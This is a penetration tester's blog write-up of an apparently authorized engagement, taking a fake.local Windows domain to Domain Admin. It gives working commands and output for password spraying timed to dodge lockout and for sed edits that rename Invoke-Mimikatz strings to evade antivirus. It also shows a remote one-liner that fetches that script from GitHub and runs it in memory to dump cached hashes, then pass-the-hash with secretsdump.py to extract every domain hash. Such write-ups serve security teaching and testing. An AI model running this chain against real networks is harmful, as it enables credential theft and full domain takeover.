A common path to Domain Admin

This post is about a recent experience I had on a penetration test. This is a fairly common scenario to achieve Domain Admin privileges, so I’ve decided to document it.

I was provided VPN access to a network that contained my target domain. I was not a member of the domain, but I did have access to a domain account with domain user privileges. Many common information gathering techniques and tools require you to be a part of the domain to use them (net users, etc.), so I decided to write a few IronPython scripts (located here) to do some basic enumeration tasks. I’m not going to get into the specifics of the code, but the first two scripts I wrote were a script to get a list of users and a script to guess passwords.

First, I gathered a list of users:

C:/Users/Jake>ipy getLdapUsers.py -u jake -p fakepassword -d fake.local
getLdapUsers.py version: 0.01. Coded by: Jake Miller (@LaconicWolf)

Username: jake Domain: fake.local Password: fakepassword
[*] Querying fake.local... [+] Successfully authenticated to hostname.fake.local. Querying all User Names: user1 user2 admin_user

While gathering a list of users, I pulled the domain password policy using Core Impact’s polenum.py. Here are the relevant parts of the policy:

Minimum password length: 15
Maximum password age: 90 days
Password Complexity: Enabled
Reset Account Lockout Counter: 15 minutes
Locked Account Duration: 15 minutes
Account Lockout Threshold: 3

Once I had a list of users, I started guessing passwords. Since the lockout threshold was 3, I decided to only guess one password at a time (to be safe/avoid lockout). Luckily, since the reset account lockout counter (sometimes called account lockout observation window) was only set to 15 minutes, I could guess 1 password every 15 minutes without having to worry about lockout.

15 character passwords are more complicated to guess than shorter passwords, but typically you can still count on some poorly chosen passwords. My first guesses were things like September2018!!, and other month/year and season/year combinations. After finding no success with those, I tried a few keyboard walks, where I found immediate success:

C:\Users\Jake>ipy ldapPasswordGuesser.py -py -uf user_names_fake_local.txt -p zaq12wsxZAQ!@WSX
ldapPasswordGuesser.py version: 0.01. Coded by: Jake Miller (@LaconicWolf)

Password: zaq12wsxZAQ!@WSX
Username File: user_names_fake_local.txt
Threads: 5

[*] Guessing 6033 user(s) and 1 password(s). 6033 total
[*] Only printing valid username/password combinations.
[+] service1:zaq12wsxZAQ!@WSX
[+] service2:zaq12wsxZAQ!@WSX
[+] service3:zaq12wsxZAQ!@WSX
[+] website_publicalt:zaq12wsxZAQ!@WSX
[+] website_public:zaq12wsxZAQ!@WSX
[+] website_sql_service:zaq12wsxZAQ!@WSX
[+] website_sql_service2:zaq12wsxZAQ!@WSX

Now that I had credentials for a few accounts, I wanted to see what kind of privileges the accounts had. I wrote a few scripts that checked group membership and nested group membership, but nothing about these accounts seemed very important or privileged. Additionally, I couldn’t find a system on the domain where I could use these credentials (to remote into). Eventually I decided to just use Bloodhound. If you’ve never used Bloodhound, just know that Bloodhound is amazing, and it is currently the best way to efficiently gather and analyze information about a domain. Here are some links and references to read at your leisure:

To gather the data, I used Bloodhound-Python, which is leverages Core’s Impacket library:

C:\Users\Jake>bloodhound-python -u jake@fake.local -p
fakepassword -d fake.local
INFO: Found AD domain: fake.local
INFO: Connecting to LDAP server: DC.fake.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest

Bloodhound-Python produces several JSON files containing information about the domain. I loaded the files into Bloodhound and started searching for the accounts that I had compromised via password guessing. One of the accounts happened to be a local Administrator on a particular system, so
that gave me a location where I could log in and start poking around on a system.

When an account as local administrator access to a system, there are multiple ways to interact with the system remotely. First, I just used the net use command so I could get a quick look of the system:

C:\Users\Jake>net use Z: \\website_computer\c$ /user:website_public zaq12wsxZAQ!@WSX

I checked to see what other user accounts were on the system.

Z:\>dir users
 Volume in drive Z has no label.
 Volume Serial Number is 12A7-BAEB
 Directory of Z:\users
07/14/2017  01:01 PM    <DIR>          buser
04/24/2018  04:48 PM    <DIR>          website_public
12/05/2018  10:36 AM    <DIR>          website_publicalt
07/10/2018  08:54 AM    <DIR>          fake_admin
12/19/2014  11:54 PM    <DIR>          Public

I ran each of these users through another script I wrote, getUserGroups.py, to see if any of them were a part of any privileged groups:

C:\Users\Jake>ipy getUserGroups.py -d fake.local -au jake -ap fakepassword -u fake_admin
getUserGroups.py version: 0.01. Coded by: Jake Miller (@LaconicWolf)
Authusername: jake
Domain: fake.local
Authpassword: fakepassword
Username: website_public
Threads: 5
  Domain Users
  Domain Admins

This was great news for me! Since the website_public user had local administrator privileges on this machine, I should be able to obtain any stored/cached credentials as well as any credentials in memory.

Rather than move tools to the system, I opted to use Invoke-Mimikatz so I could execute it in memory and avoid writing anything to disk. I grabbed a copy of Invoke-Mimikatz from Empire, and tested it locally to make sure I could successfully run it remotely. I started up a local webserver (python3 -m http.server) so I could host the file, and then tried a one-liner to download and execute it. Unfortunately, the one-liner produced a series of error messages and Mimikatz didn’t work.

PS C:\Tools>Invoke-Expression (Invoke-WebRequest -Uri;Invoke-Mimikatz -dumpcred
Invoke-Expression : Cannot convert 'System.Byte[]' to the type 'System.String' required by parameter 'Command'.
Specified method is not supported.
At line:1 char:19
+ ... -expression (Invoke-WebRequest -Uri ...
+                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (:)
[Invoke-Expression], ParameterBindingException
FullyQualifiedErrorId : CannotConvertArgument,Microsoft.PowerShell.Commands.InvokeExpressionCommand
Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
At line:905 char:6
+        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddr ...
+        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo          : NotSpecified: (:)[], MethodInvocationException
    + FullyQualifiedErrorId : AmbiguousMatchException
You cannot call a method on a null-valued expression.

After triple checking my command, I started googling the errors and came across this issue, which basically said it didn’t work on a patched host, but indicated that the script had already been updated. I downloaded Invoke-Mimikatz from the dev branch of Empire and tested again. It still failed, but not as ugly:

I searched this error for a bit, and never really finding a good answer decided I would just try it on the target anyway and see what happens. First though, I needed to alter the script to avoid anti-virus. Using the method documented here, I did the following (using sed in Git Bash) to modify the functions in script to avoid AV:
Jake@TestBox MINGW64 ~
$ sed -i -e 's/Invoke-Mimikatz/Invoke-Jake/g' Invoke-Mimikatz.ps1                                                                 
Jake@TestBox MINGW64 ~
$ sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1                                                                       
Jake@TestBox MINGW64 ~
$ sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1                                                                            
Jake@TestBox MINGW64 ~
$ sed -i -e 's/DumpCreds/fromjake/g' Invoke-Mimikatz.ps1                                                                          
Jake@TestBox MINGW64 ~
$ sed -i -e 's/ArgumentPtr/NotTodayGal/g' Invoke-Mimikatz.ps1                                                                       
Jake@TestBox MINGW64 ~
$ sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g'                                                                  
Jake@TestBox MINGW64 ~
$ sed -i -e 's/CallDllMainSC1/ThisIsTheString/g' Invoke-Mimikatz.ps1                                                               
Jake@TestBox MINGW64 ~
$ sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.ps1

I then renamed the script to Invoke-Jake, and uploaded it to my GitHub so I could download it from there. It worked, and the output had the hash of the user that was a part of the Domain Admins group!

PS C:\User\Jake> Invoke-Command -ComputerName website_computer -ScriptBlock {Invoke-Expression (Invoke-WebRequest -Uri https://raw.githubusercontent.com/laconicwolf/random-powershell/master/Invoke-Jake.ps1);Invoke-Jake -FromJake} -Credential fake.local\website_public
Hostname: website_computer.fake.local / S-1-5-21-2593824539-464924558-553336369

  .#####.   mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 79690918 (00000000:02cffca5)
Session           : Batch from 0
User Name         : fake_admin
Domain            : FAKE
Logon Server      : FAKE-PRD-COMP
Logon Time        : 12/18/2018 4:34:44 PM
	msv :	
	 [00000003] Primary
	 * Username : fake_admin
	 * Domain   : FAKE
	 * NTLM     : 53ad298d6ba3da5fa29e4442ce7bef0c
	 * SHA1     : 5c38bf1272a177d13aec1ca82a9189c9331a186b
	 [00010000] CredentialKeys
	 * NTLM     : 53ad298d6ba3da5fa29e4442ce7bef0c
	 * SHA1     : 5c38bf1272a177d13aec1ca82a9189c9331a186b
	tspkg :	
	wdigest :	
	 * Username : fake_admin
	 * Domain   : FAKE
	 * Password : (null)
	kerberos :	
	 * Username : fake_admin
	 * Domain   : FAKE.LOCAL
	 * Password : (null)
	ssp :	
	credman :	

I immediately sent the hash to hashcat to start cracking, but the beauty of Windows environments is that I can just pass the NTLM hash to accomplish whatever I want. My next move was to dump all the hashes for everyone on the domain. I used secretsdump.py to accomplish this:

C:\Users\Jake>secretsdump.py -no-pass -hashes 53ad298d6ba3da5fa29e4442ce7bef0c:53ad298d6ba3da5fa29e4442ce7bef0c -outputfile domain_hashes.txt -just-dc-ntlm fake.local/fake_admin@fake.local
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

And that’s it! There are other paths, but this one is definitely common, do decided it was finally time to write out the steps.

One comment

  1. Great write-up Jake! Thanks for sharing! I’ll keep on poking around your site, because there’s so much gold on here 🙂

    I love that wolf drawing by the way. It seems familiar, but I just can’t put my finger on where I’ve seen a wolf like that…

Leave a Reply

Your email address will not be published. Required fields are marked *